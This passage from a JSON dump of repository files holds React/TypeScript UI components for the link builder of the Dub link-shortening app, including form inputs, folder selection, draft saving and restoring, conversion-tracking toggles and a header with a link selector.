error={errors.url?.message || undefined}\n            right={\n              <div className=\"-mb-1 h-6\">\n                {isValidUrl(url) && (\n                  <UTMTemplatesButton\n                    onLoad={(params) => {\n                      setValue(\"url\", constructURLFromUTMParams(url, params), {\n                        shouldDirty: true,\n                      });\n                    }}\n                  />\n                )}\n              </div>\n            }\n          />\n        )}\n      />\n    );\n  }),\n);\n\nLinkBuilderDestinationUrlInput.displayName = \"LinkBuilderDestinationUrlInput\";\n"
  },
  {
    "path": "apps/web/ui/links/link-builder/controls/link-builder-folder-selector.tsx",
    "content": "import { FolderDropdown } from \"@/ui/folders/folder-dropdown\";\nimport { InfoTooltip } from \"@dub/ui\";\nimport { useFormContext, useWatch } from \"react-hook-form\";\nimport { LinkFormData } from \"../link-builder-provider\";\n\nexport function LinkBuilderFolderSelector() {\n  const { setValue } = useFormContext<LinkFormData>();\n  const folderId = useWatch({ name: \"folderId\" });\n\n  return (\n    <div>\n      <div className=\"mb-1 flex items-center gap-2\">\n        <h2 className=\"text-sm font-medium text-neutral-700\">Folder</h2>\n        <InfoTooltip\n          content={\n            \"Use folders to organize and manage access to your links. [Learn more](https://dub.co/help/article/link-folders)\"\n          }\n        />\n      </div>\n      <FolderDropdown\n        variant=\"input\"\n        hideViewAll={true}\n        disableAutoRedirect={true}\n        onFolderSelect={(folder) => {\n          setValue(\"folderId\", folder.id === \"unsorted\" ? null : folder.id, {\n            shouldDirty: true,\n          });\n        }}\n        buttonClassName=\"w-full min-w-0 bg-transparent h-10 md:h-8 md:pl-1 rounded-md\"\n        buttonTextClassName=\"text-sm md:text-sm font-medium\"\n        iconClassName=\"size-3\"\n        selectedFolderId={folderId ?? undefined}\n        loadingPlaceholder={\n          <div className=\"my-px h-10 w-full animate-pulse rounded-lg bg-neutral-200 md:h-8\" />\n        }\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/link-builder/controls/link-builder-short-link-input.tsx",
    "content": "import { LinkFormData } from \"@/ui/links/link-builder/link-builder-provider\";\nimport { forwardRef, memo } from \"react\";\nimport { useFormContext, useFormState, useWatch } from \"react-hook-form\";\nimport { ShortLinkInput } from \"../../short-link-input\";\nimport { useAvailableDomains } from \"../../use-available-domains\";\nimport { useLinkBuilderContext } from \"../link-builder-provider\";\n\n/**\n * Wraps the ShortLinkInput component with link-builder-specific context & logic\n * @see ShortLinkInput\n */\nexport const LinkBuilderShortLinkInput = memo(\n  forwardRef<HTMLInputElement>((_, ref) => {\n    const { props } = useLinkBuilderContext();\n    const { control, setValue, clearErrors } = useFormContext<LinkFormData>();\n\n    const { errors, isSubmitting, isSubmitSuccessful } = useFormState({\n      control,\n      name: [\"key\"],\n    });\n    const [domain, key, url, title, description] = useWatch({\n      control,\n      name: [\"domain\", \"key\", \"url\", \"title\", \"description\"],\n    });\n\n    const { loading } = useAvailableDomains({\n      currentDomain: domain,\n    });\n\n    return key !== \"_root\" ? (\n      <ShortLinkInput\n        ref={ref}\n        domain={domain}\n        _key={key}\n        existingLinkProps={props}\n        error={errors.key?.message || undefined}\n        onChange={(d) => {\n          clearErrors(\"key\");\n          if (d.domain !== undefined)\n            setValue(\"domain\", d.domain, { shouldDirty: true });\n          if (d.key !== undefined)\n            setValue(\"key\", d.key, { shouldDirty: true });\n        }}\n        data={{ url, title, description }}\n        saving={isSubmitting || isSubmitSuccessful}\n        loading={loading}\n      />\n    ) : null;\n  }),\n);\n\nLinkBuilderShortLinkInput.displayName = \"LinkBuilderShortLinkInput\";\n"
  },
  {
    "path": "apps/web/ui/links/link-builder/controls/link-comments-input.tsx",
    "content": "import { InfoTooltip, useEnterSubmit } from \"@dub/ui\";\nimport { memo } from \"react\";\nimport { Controller } from \"react-hook-form\";\nimport TextareaAutosize from \"react-textarea-autosize\";\n\nexport const LinkCommentsInput = memo(() => {\n  const { handleKeyDown } = useEnterSubmit();\n\n  return (\n    <div>\n      <div className=\"flex items-center gap-2\">\n        <label\n          htmlFor=\"comments\"\n          className=\"block text-sm font-medium text-neutral-700\"\n        >\n          Comments\n        </label>\n        <InfoTooltip\n          content={\n            \"Use comments to add context to your short links – for you and your team. [Learn more.](https://dub.co/help/article/link-comments)\"\n          }\n        />\n      </div>\n      <Controller\n        name=\"comments\"\n        render={({ field }) => (\n          <TextareaAutosize\n            id=\"comments\"\n            name=\"comments\"\n            minRows={3}\n            className=\"mt-2 block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n            placeholder=\"Add comments\"\n            value={field.value ?? \"\"}\n            onChange={(e) => field.onChange(e.target.value)}\n            onKeyDown={handleKeyDown}\n          />\n        )}\n      />\n    </div>\n  );\n});\n\nLinkCommentsInput.displayName = \"LinkCommentsInput\";\n"
  },
  {
    "path": "apps/web/ui/links/link-builder/conversion-tracking-toggle.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { LinkFormData } from \"@/ui/links/link-builder/link-builder-provider\";\nimport {\n  CrownSmall,\n  FlaskSmall,\n  InfoTooltip,\n  Switch,\n  TooltipContent,\n} from \"@dub/ui\";\nimport { memo } from \"react\";\nimport { useFormContext, useWatch } from \"react-hook-form\";\nimport { useLinkBuilderKeyboardShortcut } from \"./use-link-builder-keyboard-shortcut\";\n\n// Show new badge for 30 days\nconst isNew =\n  new Date().getTime() - new Date(\"2025-01-13\").getTime() < 30 * 86_400_000;\n\nexport const ConversionTrackingToggle = memo(() => {\n  const { slug, plan } = useWorkspace();\n  const { control, setValue } = useFormContext<LinkFormData>();\n\n  const conversionsEnabled = !!plan && plan !== \"free\" && plan !== \"pro\";\n\n  const [trackConversion, testVariants] = useWatch({\n    control,\n    name: [\"trackConversion\", \"testVariants\"],\n  });\n\n  useLinkBuilderKeyboardShortcut(\n    \"c\",\n    () => setValue(\"trackConversion\", !trackConversion, { shouldDirty: true }),\n    { enabled: conversionsEnabled },\n  );\n\n  return (\n    <label className=\"flex items-center justify-between\">\n      <div className=\"flex items-center gap-2\">\n        {isNew && (\n          <div className=\"rounded-full border border-green-200 bg-green-100 px-2 py-0.5 text-[0.625rem] uppercase leading-none text-green-900\">\n            New\n          </div>\n        )}\n        <span className=\"flex select-none items-center gap-1 text-sm font-medium text-neutral-700\">\n          Conversion Tracking\n          <InfoTooltip\n            content={\n              \"View analytics on conversions from your short links. [Learn more.](https://dub.co/docs/conversions/quickstart)\"\n            }\n          />\n        </span>\n      </div>\n      <Switch\n        checked={trackConversion}\n        fn={(checked) =>\n          setValue(\"trackConversion\", checked, {\n            shouldDirty: true,\n          })\n        }\n        disabledTooltip={\n          trackConversion && testVariants ? (\n            <TooltipContent title=\"Conversion tracking must be enabled to use A/B testing.\" />\n          ) : conversionsEnabled ? undefined : (\n            <TooltipContent\n              title=\"Conversion tracking is only available on Business plans and above.\"\n              cta=\"Upgrade to Business\"\n              href={slug ? `/${slug}/upgrade` : \"https://dub.co/pricing\"}\n              target=\"_blank\"\n            />\n          )\n        }\n        thumbIcon={\n          trackConversion && testVariants ? (\n            <span className=\"flex size-full items-center justify-center\">\n              <FlaskSmall className=\"size-2 text-blue-500\" />\n            </span>\n          ) : conversionsEnabled ? undefined : (\n            <CrownSmall className=\"size-full text-neutral-500\" />\n          )\n        }\n      />\n    </label>\n  );\n});\n"
  },
  {
    "path": "apps/web/ui/links/link-builder/draft-controls.tsx",
    "content": "import { ExpandedLinkProps } from \"@/lib/types\";\nimport { LinkFormData } from \"@/ui/links/link-builder/link-builder-provider\";\nimport {\n  LinkDraft,\n  useLinkDrafts,\n} from \"@/ui/modals/link-builder/use-link-drafts\";\nimport { AnimatedSizeContainer, Button, Popover, useMediaQuery } from \"@dub/ui\";\nimport { CircleCheck, CircleInfo, LoadingCircle, Xmark } from \"@dub/ui/icons\";\nimport { cn, nanoid, punycode, timeAgo, truncate } from \"@dub/utils\";\nimport { ChevronDown } from \"lucide-react\";\nimport {\n  forwardRef,\n  SVGProps,\n  useEffect,\n  useImperativeHandle,\n  useMemo,\n  useState,\n} from \"react\";\nimport { useFormContext } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { useDebouncedCallback } from \"use-debounce\";\n\nexport type DraftControlsHandle = {\n  onSubmitSuccessful: () => void;\n  onClose: () => void;\n};\n\ntype DraftControlsProps = {\n  props?: ExpandedLinkProps;\n  workspaceId: string;\n};\n\nexport const DraftControls = forwardRef<\n  DraftControlsHandle,\n  DraftControlsProps\n>(({ props, workspaceId }: DraftControlsProps, ref) => {\n  const { isMobile } = useMediaQuery();\n\n  const {\n    watch,\n    getValues,\n    setValue,\n    formState: { isDirty },\n  } = useFormContext<LinkFormData>();\n\n  const [sessionId, setSessionId] = useState(() => nanoid());\n  const [isSavePending, setIsSavePending] = useState(false);\n  const [hasSaved, setHasSaved] = useState(false);\n  const [openPopover, setOpenPopover] = useState(false);\n\n  const {\n    drafts: allDrafts,\n    saveDraft,\n    removeDraft,\n  } = useLinkDrafts({\n    linkId: props?.id,\n    workspaceId,\n  });\n\n  const drafts = useMemo(() => {\n    return allDrafts.filter((draft) => draft.id !== sessionId);\n  }, [allDrafts, sessionId]);\n\n  const saveDraftDebounced = useDebouncedCallback(() => {\n    saveDraft(sessionId, getValues());\n    setIsSavePending(false);\n    setHasSaved(true);\n  }, 1000);\n\n  // Watch for form changes and save draft\n  useEffect(() => {\n    const { unsubscribe } = watch(() => {\n      const [url, key] = getValues([\"url\", \"key\"]);\n      if ((url || key) && isDirty) {\n        setIsSavePending(true);\n        saveDraftDebounced();\n      }\n    });\n    return () => unsubscribe();\n  }, [watch, isDirty]);\n\n  useImperativeHandle(\n    ref,\n    () => {\n      return {\n        onSubmitSuccessful() {\n          // Remove the current draft when it's submitted\n          removeDraft(sessionId);\n        },\n        onClose() {\n          // Save draft instantly when the link builder is closed\n          const [url, key] = getValues([\"url\", \"key\"]);\n          if ((url || key) && isDirty) {\n            saveDraft(sessionId, getValues());\n          }\n        },\n      };\n    },\n    [sessionId, isDirty],\n  );\n\n  return (isDirty && hasSaved) || drafts.length > 0 ? (\n    <Popover\n      content={\n        <div className=\"w-full min-w-36 px-1 py-1 sm:w-auto\">\n          {drafts.length > 0 ? (\n            <span className=\"block pb-2 pl-2.5 pt-2 text-xs font-medium text-neutral-500\">\n              Restore drafts\n            </span>\n          ) : (\n            <span className=\"flex gap-1 px-2.5 pb-2 pt-2 text-xs text-neutral-500\">\n              <CircleInfo className=\"size-3.5\" />\n              Your drafts will appear here\n            </span>\n          )}\n          {drafts.length > 0 && (\n            <AnimatedSizeContainer width={!isMobile} height>\n              <ul className=\"scrollbar-hide grid max-h-40 overflow-y-auto\">\n                {drafts.map((draft) => (\n                  <DraftOption\n                    key={draft.id}\n                    draft={draft}\n                    onSelect={() => {\n                      setSessionId(draft.id);\n                      setOpenPopover(false);\n                      Object.entries(draft.link).forEach(([key, value]) => {\n                        setValue(key as any, value, { shouldDirty: true });\n                      });\n                      toast.success(\"Draft restored!\");\n                    }}\n                    onDelete={() => removeDraft(draft.id)}\n                  />\n                ))}\n              </ul>\n            </AnimatedSizeContainer>\n          )}\n        </div>\n      }\n      align=\"end\"\n      onWheel={(e) => {\n        // Allows scrolling to work when the popover's in a modal\n        e.stopPropagation();\n      }}\n      openPopover={openPopover}\n      setOpenPopover={setOpenPopover}\n    >\n      <Button\n        type=\"button\"\n        variant=\"outline\"\n        className={cn(\n          \"animate-fade-in group h-7 w-fit text-sm transition-colors data-[state=open]:bg-neutral-100\",\n          isDirty && hasSaved\n            ? \"pl-3 pr-4 text-neutral-400 hover:text-neutral-600\"\n            : \"pl-4 pr-3 text-neutral-500 hover:text-neutral-700\",\n        )}\n        text={\n          isDirty && hasSaved ? (\n            <div className=\"flex items-center justify-end gap-2\">\n              {isSavePending ? (\n                <LoadingCircle className=\"size-3.5\" />\n              ) : (\n                <CircleCheck className=\"size-3.5\" />\n              )}\n              {isSavePending ? \"Saving...\" : \"Draft saved\"}\n            </div>\n          ) : drafts.length > 0 ? (\n            <div className=\"flex items-center justify-end gap-1\">\n              Drafts\n              <ChevronDown className=\"size-3.5 transition-transform duration-75 group-data-[state=open]:rotate-180\" />\n            </div>\n          ) : null\n        }\n      />\n    </Popover>\n  ) : null;\n});\n\nfunction DraftOption({\n  draft,\n  onSelect,\n  onDelete,\n}: {\n  draft: LinkDraft;\n  onSelect: () => void;\n  onDelete: () => void;\n}) {\n  const { isMobile } = useMediaQuery();\n\n  // Memoize time so it doesn't change on rerender\n  const time = useMemo(\n    () => timeAgo(new Date(draft.timestamp), { withAgo: !isMobile }),\n    [draft.timestamp, isMobile],\n  );\n\n  return (\n    <li\n      key={draft.id}\n      role=\"button\"\n      className=\"group flex items-center justify-between gap-2 overflow-hidden rounded py-1.5 pl-2 pr-1.5 text-sm transition-colors hover:bg-neutral-100 sm:gap-1\"\n      onClick={() => {\n        onSelect();\n      }}\n    >\n      <div className=\"flex min-w-0 grow items-center justify-between gap-4 sm:gap-8\">\n        <div className=\"flex min-w-0 items-center gap-1.5 sm:gap-2.5\">\n          <RestoreDraftIcon className=\"size-3.5 shrink-0 text-neutral-400\" />\n          <span className=\"min-w-0 max-w-40 truncate text-neutral-800\">\n            {truncate(punycode(draft.link.domain), 16)}/\n            {draft.link.key ? (\n              punycode(draft.link.key)\n            ) : (\n              <span className=\"text-neutral-400\">(link)</span>\n            )}\n          </span>\n        </div>\n        <span className=\"whitespace-nowrap text-xs text-neutral-500\">\n          {time}\n        </span>\n      </div>\n      <button\n        type=\"button\"\n        onClick={(e) => {\n          e.stopPropagation();\n          window.confirm(\"Are you sure you want to delete this draft?\") &&\n            onDelete();\n        }}\n        className=\"p-1 text-neutral-400 transition-colors hover:text-neutral-500\"\n        title=\"Delete draft\"\n      >\n        <Xmark className=\"size-3.5\" />\n      </button>\n    </li>\n  );\n}\n\nfunction RestoreDraftIcon(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <polyline\n          fill=\"none\"\n          points=\"9 4.75 9 9 12.25 11.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"2\"\n        />\n        <g className=\"origin-center group-hover:rotate-[360deg] group-hover:transition-transform group-hover:duration-500\">\n          <polyline\n            fill=\"none\"\n            points=\"1.88 14.695 2.288 11.75 5.232 12.157\"\n            stroke=\"currentColor\"\n            strokeLinecap=\"round\"\n            strokeLinejoin=\"round\"\n            strokeWidth=\"2\"\n          />\n          <path\n            d=\"M1.75,9C1.75,4.996,4.996,1.75,9,1.75s7.25,3.246,7.25,7.25-3.246,7.25-7.25,7.25c-3.031,0-5.627-1.86-6.71-4.5\"\n            fill=\"none\"\n            stroke=\"currentColor\"\n            strokeLinecap=\"round\"\n            strokeLinejoin=\"round\"\n            strokeWidth=\"2\"\n          />\n        </g>\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/link-builder/link-action-bar.tsx",
    "content": "import { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Button } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { PropsWithChildren } from \"react\";\nimport { useFormContext, useFormState } from \"react-hook-form\";\nimport { LinkFormData } from \"./link-builder-provider\";\n\nexport function LinkActionBar({ children }: PropsWithChildren) {\n  const { role } = useWorkspace();\n  const permissionsError = clientAccessCheck({\n    action: \"links.write\",\n    role,\n  }).error;\n\n  const { control, reset } = useFormContext<LinkFormData>();\n  const { isDirty, isSubmitting, isSubmitSuccessful } = useFormState({\n    control,\n  });\n\n  const showActionBar = isDirty || isSubmitting;\n\n  return (\n    <div\n      className={cn(\n        \"sticky bottom-0 z-10 w-full overflow-hidden lg:bottom-4 lg:[filter:drop-shadow(0_5px_8px_#222A351d)]\",\n      )}\n    >\n      <div\n        className={cn(\n          \"mx-auto flex max-w-3xl items-center justify-between gap-4 overflow-hidden px-4 py-3\",\n          \"border-t border-neutral-200 bg-white lg:rounded-xl lg:border\",\n          \"lg:transition-[opacity,transform]\",\n          !showActionBar && \"lg:translate-y-4 lg:scale-90 lg:opacity-0\",\n        )}\n      >\n        {children || (\n          <span\n            className=\"hidden text-sm font-medium text-neutral-600 lg:block\"\n            aria-hidden={!isDirty}\n          >\n            Unsaved changes\n          </span>\n        )}\n        <div className=\"flex items-center gap-2\">\n          <Button\n            type=\"button\"\n            text=\"Discard\"\n            variant=\"secondary\"\n            className=\"hidden h-7 px-2.5 text-xs lg:flex\"\n            onClick={() => reset()}\n            disabledTooltip={permissionsError || undefined}\n          />\n          <Button\n            type=\"submit\"\n            text=\"Save changes\"\n            variant=\"primary\"\n            className=\"h-7 px-2.5 text-xs\"\n            loading={isSubmitting || isSubmitSuccessful}\n            disabledTooltip={permissionsError || undefined}\n          />\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/link-builder/link-builder-header.tsx",
    "content": "import { unsortedLinks } from \"@/lib/folder/constants\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport useFolder from \"@/lib/swr/use-folder\";\nimport useLinks from \"@/lib/swr/use-links\";\nimport { LinkProps } from \"@/lib/types\";\nimport { FolderIcon } from \"@/ui/folders/folder-icon\";\nimport { Combobox, LinkLogo } from \"@dub/ui\";\nimport {\n  cn,\n  getApexDomain,\n  getPrettyUrl,\n  getUrlWithoutUTMParams,\n  linkConstructor,\n  truncate,\n} from \"@dub/utils\";\nimport { ChevronRight, X } from \"lucide-react\";\nimport Link from \"next/link\";\nimport { PropsWithChildren, useMemo, useState } from \"react\";\nimport { useFormState, useWatch } from \"react-hook-form\";\nimport { useDebounce } from \"use-debounce\";\nimport { useLinkBuilderContext } from \"./link-builder-provider\";\n\nexport function LinkBuilderHeader({\n  onClose,\n  onSelectLink,\n  children,\n  className,\n}: PropsWithChildren<{\n  onClose?: () => void;\n  onSelectLink?: (link: LinkProps) => void;\n  className?: string;\n}>) {\n  const { props, workspace } = useLinkBuilderContext();\n  const { isDirty } = useFormState();\n\n  const [url, key, domain, folderId] = useWatch({\n    name: [\"url\", \"key\", \"domain\", \"folderId\"],\n  });\n\n  const [debouncedUrl] = useDebounce(getUrlWithoutUTMParams(url), 500);\n\n  const shortLink = useMemo(\n    () =>\n      linkConstructor({\n        key,\n        domain,\n        pretty: true,\n      }),\n    [key, domain],\n  );\n\n  const { canAddFolder } = getPlanCapabilities(workspace.plan);\n  const { folder, loading: isFolderLoading } = useFolder({\n    folderId,\n    enabled: !!folderId,\n  });\n\n  const folderContent = useMemo(() => {\n    if (folderId && folderId !== \"unsorted\" && folder?.id !== folderId)\n      return (\n        <div className=\"h-7 w-24 animate-pulse rounded-md bg-neutral-200\" />\n      );\n\n    let selectedFolder =\n      !folderId || folderId === \"unsorted\"\n        ? unsortedLinks\n        : folder ?? unsortedLinks;\n\n    return (\n      <>\n        {canAddFolder && <FolderIcon folder={selectedFolder} shape=\"square\" />}\n        <span className=\"min-w-0 truncate text-sm font-semibold text-neutral-800\">\n          {selectedFolder.name}\n        </span>\n      </>\n    );\n  }, [folderId, folder, isFolderLoading]);\n\n  return (\n    <div\n      className={cn(\n        \"flex flex-col items-start gap-2 px-6 py-3 md:flex-row md:items-center md:justify-between\",\n        className,\n      )}\n    >\n      <div className=\"flex min-w-0 max-w-full items-center gap-1\">\n        {canAddFolder ? (\n          <Link\n            href={`/${workspace.slug}/links?folderId=${folderId ?? \"unsorted\"}`}\n            className=\"flex min-w-0 items-center gap-2 rounded-md py-1 pl-1 pr-2 hover:bg-neutral-100\"\n            onClick={\n              isDirty\n                ? (e) => {\n                    if (\n                      !window.confirm(\n                        \"Are you sure you want to discard your changes and continue?\",\n                      )\n                    )\n                      e.preventDefault();\n                  }\n                : undefined\n            }\n          >\n            {folderContent}\n          </Link>\n        ) : (\n          <div className=\"flex min-w-0 items-center gap-2 px-1.5\">\n            {folderContent}\n          </div>\n        )}\n\n        <ChevronRight className=\"hidden size-4 shrink-0 text-neutral-500 md:block\" />\n        {onSelectLink ? (\n          <div className=\"min-w-0\">\n            <LinkSelector\n              selectedLink={props!}\n              onSelect={onSelectLink}\n              folderId={folderId}\n            />\n          </div>\n        ) : (\n          <div className=\"flex min-w-0 items-center gap-2 px-1\">\n            <LinkLogo\n              apexDomain={getApexDomain(debouncedUrl)}\n              className=\"size-5 shrink-0 sm:size-5 [&>*]:size-3 sm:[&>*]:size-4\"\n            />\n            <h3 className=\"!mt-0 max-w-sm truncate text-sm font-medium\">\n              {props ? `Edit ${shortLink}` : \"New link\"}\n            </h3>\n          </div>\n        )}\n      </div>\n      <div className=\"flex items-center gap-4\">\n        {children}\n        {onClose && (\n          <button\n            type=\"button\"\n            onClick={onClose}\n            className=\"group hidden rounded-full p-2 text-neutral-500 transition-all duration-75 hover:bg-neutral-100 focus:outline-none active:bg-neutral-200 md:block\"\n          >\n            <X className=\"h-5 w-5\" />\n          </button>\n        )}\n      </div>\n    </div>\n  );\n}\n\nconst getLinkOption = (link: LinkProps) => ({\n  value: link.id,\n  label: linkConstructor({ ...link, pretty: true }),\n  icon: (\n    <LinkLogo\n      apexDomain={getApexDomain(link.url)}\n      className=\"mr-1 size-4 shrink-0 sm:size-4\"\n    />\n  ),\n  meta: {\n    url: link.url,\n  },\n});\n\nfunction LinkSelector({\n  selectedLink: selectedLinkProp,\n  onSelect,\n  disabled,\n  folderId,\n}: {\n  selectedLink: LinkProps;\n  onSelect: (link: LinkProps) => void;\n  disabled?: boolean;\n  folderId?: string;\n}) {\n  const [search, setSearch] = useState(\"\");\n  const [debouncedSearch] = useDebounce(search, 500);\n\n  const { links } = useLinks(\n    {\n      search: debouncedSearch,\n      // if searching, search across all folders, otherwise just list links in the current folder\n      ...(folderId && !debouncedSearch && { folderId }),\n    },\n    {\n      keepPreviousData: false,\n    },\n  );\n\n  const options = useMemo(\n    () => links?.map((link) => getLinkOption(link)),\n    [links],\n  );\n\n  const [selectedLink, setSelectedLink] = useState(selectedLinkProp);\n  const selectedOption = useMemo(\n    () => getLinkOption(selectedLink),\n    [selectedLink],\n  );\n\n  return (\n    <Combobox\n      caret\n      side=\"top\" // Since this control is near the bottom of the page, prefer top to avoid jumping\n      options={options}\n      selected={selectedOption}\n      setSelected={(selected) => {\n        const link = links?.find((link) => link.id === selected.value);\n        if (!link) return;\n\n        setSelectedLink(link);\n        onSelect(link);\n      }}\n      shouldFilter={false}\n      onSearchChange={setSearch}\n      buttonProps={{\n        disabled,\n        className: cn(\n          \"h-auto py-2 px-2 w-full max-w-full text-neutral-700 border-none items-start text-sm font-medium !ring-0\",\n          \"hover:bg-neutral-100 active:bg-neutral-200 data-[state=open]:bg-neutral-100\",\n        ),\n      }}\n    >\n      {selectedLink ? (\n        <div className=\"flex min-w-0 items-center gap-2\">\n          <LinkLogo\n            apexDomain={getApexDomain(selectedLink.url)}\n            className=\"size-4 shrink-0 sm:size-4\"\n          />\n          <span className=\"min-w-0 truncate\">\n            {truncate(getPrettyUrl(selectedLink.shortLink), 32)}\n          </span>\n        </div>\n      ) : (\n        <div className=\"my-0.5 h-5 w-1/3 animate-pulse rounded bg-neutral-200\" />\n      )}\n    </Combobox>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/link-builder/link-builder-provider.tsx",
    "content": "import { ExpandedLinkProps } from \"@/lib/types\";\nimport { DEFAULT_LINK_PROPS, PLANS } from \"@dub/utils\";\nimport {\n  createContext,\n  Dispatch,\n  PropsWithChildren,\n  SetStateAction,\n  useContext,\n  useState,\n} from \"react\";\nimport { FormProvider, useForm } from \"react-hook-form\";\n\nexport type LinkFormData = ExpandedLinkProps;\n\nexport type LinkBuilderProps = {\n  props?: ExpandedLinkProps;\n  duplicateProps?: ExpandedLinkProps;\n  workspace: {\n    id?: string;\n    slug?: string;\n    plan?: string;\n    nextPlan?: (typeof PLANS)[number];\n    conversionEnabled?: boolean;\n    defaultProgramId?: string | null;\n  };\n  modal: boolean;\n};\n\nconst LinkBuilderContext = createContext<\n  | (LinkBuilderProps & {\n      generatingMetatags: boolean;\n      setGeneratingMetatags: Dispatch<SetStateAction<boolean>>;\n    })\n  | null\n>(null);\n\nexport function useLinkBuilderContext() {\n  const context = useContext(LinkBuilderContext);\n  if (!context)\n    throw new Error(\n      \"useLinkBuilderContext must be used within a LinkBuilderProvider\",\n    );\n\n  return context;\n}\n\nexport function LinkBuilderProvider({\n  children,\n  ...rest\n}: PropsWithChildren<LinkBuilderProps>) {\n  const { plan, conversionEnabled } = rest.workspace || {};\n\n  const [generatingMetatags, setGeneratingMetatags] = useState(\n    Boolean(rest.props),\n  );\n\n  const form = useForm<LinkFormData>({\n    defaultValues: rest.props ||\n      rest.duplicateProps || {\n        ...DEFAULT_LINK_PROPS,\n        trackConversion:\n          (plan && plan !== \"free\" && plan !== \"pro\" && conversionEnabled) ||\n          false,\n      },\n  });\n\n  return (\n    <LinkBuilderContext.Provider\n      value={{ ...rest, generatingMetatags, setGeneratingMetatags }}\n    >\n      <FormProvider {...form}>{children}</FormProvider>\n    </LinkBuilderContext.Provider>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/link-builder/link-creator-info.tsx",
    "content": "import { ExpandedLinkProps } from \"@/lib/types\";\nimport { UserAvatarWithTooltip } from \"@/ui/links/link-title-column\";\nimport { TimestampTooltip } from \"@dub/ui\";\nimport { timeAgo } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\n\nexport function LinkCreatorInfo({ link }: { link: ExpandedLinkProps }) {\n  const { slug } = useParams();\n\n  if (!link.user) return null;\n\n  return (\n    <div className=\"flex items-center gap-1 border-t border-neutral-200 py-8 text-sm text-neutral-600\">\n      <UserAvatarWithTooltip user={link.user} />\n      <span>Created by</span>\n      <Link\n        href={`/${slug}/links?userId=${link.user.id}`}\n        target=\"_blank\"\n        className=\"cursor-alias font-semibold text-neutral-800 decoration-dotted underline-offset-2 hover:text-neutral-900 hover:underline\"\n      >\n        {link.user.name || link.user.email || \"Anonymous User\"}\n      </Link>\n      <span className=\"text-neutral-400\">\n        ·{\" \"}\n        <TimestampTooltip\n          timestamp={link.createdAt}\n          rows={[\"local\", \"utc\", \"unix\"]}\n          delayDuration={150}\n        >\n          <span className=\"select-none\">{timeAgo(link.createdAt)}</span>\n        </TimestampTooltip>\n      </span>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/link-builder/link-feature-buttons.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { MoreDropdown } from \"@/ui/links/link-builder/more-dropdown\";\nimport { useABTestingModal } from \"@/ui/modals/link-builder/ab-testing-modal\";\nimport { useExpirationModal } from \"@/ui/modals/link-builder/expiration-modal\";\nimport { usePasswordModal } from \"@/ui/modals/link-builder/password-modal\";\nimport { useTargetingModal } from \"@/ui/modals/link-builder/targeting-modal\";\nimport { useUTMModal } from \"@/ui/modals/link-builder/utm-modal\";\nimport { cn } from \"@dub/utils\";\n\nexport function LinkFeatureButtons({\n  variant = \"page\",\n  className,\n}: {\n  variant?: \"page\" | \"modal\";\n  className?: string;\n}) {\n  const { flags } = useWorkspace();\n  const { UTMModal, UTMButton } = useUTMModal();\n  const { ExpirationModal, ExpirationButton } = useExpirationModal();\n  const { TargetingModal, TargetingButton } = useTargetingModal();\n  const { PasswordModal, PasswordButton } = usePasswordModal();\n  const { ABTestingModal, ABTestingButton } = useABTestingModal();\n\n  return (\n    <>\n      <PasswordModal />\n      <UTMModal />\n      <TargetingModal />\n      <ExpirationModal /> <ABTestingModal />\n      <div className={cn(\"flex min-w-0 items-center gap-2\", className)}>\n        <UTMButton />\n        <div className=\"contents max-[380px]:hidden\">\n          <TargetingButton />\n        </div>\n        <div\n          className={cn(\n            \"contents max-sm:hidden\",\n            variant === \"page\" && \"max-[960px]:hidden\",\n          )}\n        >\n          <ABTestingButton />\n          <PasswordButton />\n          <ExpirationButton />\n        </div>\n        <MoreDropdown variant={variant} />\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/link-builder/link-partner-details.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { EnrolledPartnerProps, LinkProps } from \"@/lib/types\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { PartnerStatusBadgeWithTooltip } from \"@/ui/partners/partner-status-badge-with-tooltip\";\nimport { ArrowUpRight } from \"@dub/ui/icons\";\nimport { currencyFormatter } from \"@dub/utils\";\nimport Link from \"next/link\";\n\nexport function LinkPartnerDetails({\n  link,\n  partner,\n}: {\n  link: LinkProps;\n  partner?: EnrolledPartnerProps;\n}) {\n  const { slug } = useWorkspace();\n\n  return (\n    <div>\n      <Link\n        href={`/${slug}/program/partners/${link.partnerId}`}\n        className=\"border-border-subtle group flex items-center justify-between overflow-hidden rounded-t-lg border bg-neutral-100 px-4 py-3\"\n        target=\"_blank\"\n      >\n        <div className=\"flex min-w-0 items-center gap-3\">\n          {partner ? (\n            <PartnerAvatar partner={partner} className=\"size-8\" />\n          ) : (\n            <div className=\"size-8 animate-pulse rounded-full bg-neutral-200\" />\n          )}\n          <div className=\"min-w-0\">\n            {partner ? (\n              <div className=\"flex items-center gap-2\">\n                <span className=\"block truncate text-xs font-semibold leading-tight text-neutral-900\">\n                  {partner.name}\n                </span>\n                <PartnerStatusBadgeWithTooltip partner={partner} size=\"sm\" />\n              </div>\n            ) : (\n              <div className=\"h-3 w-24 animate-pulse rounded 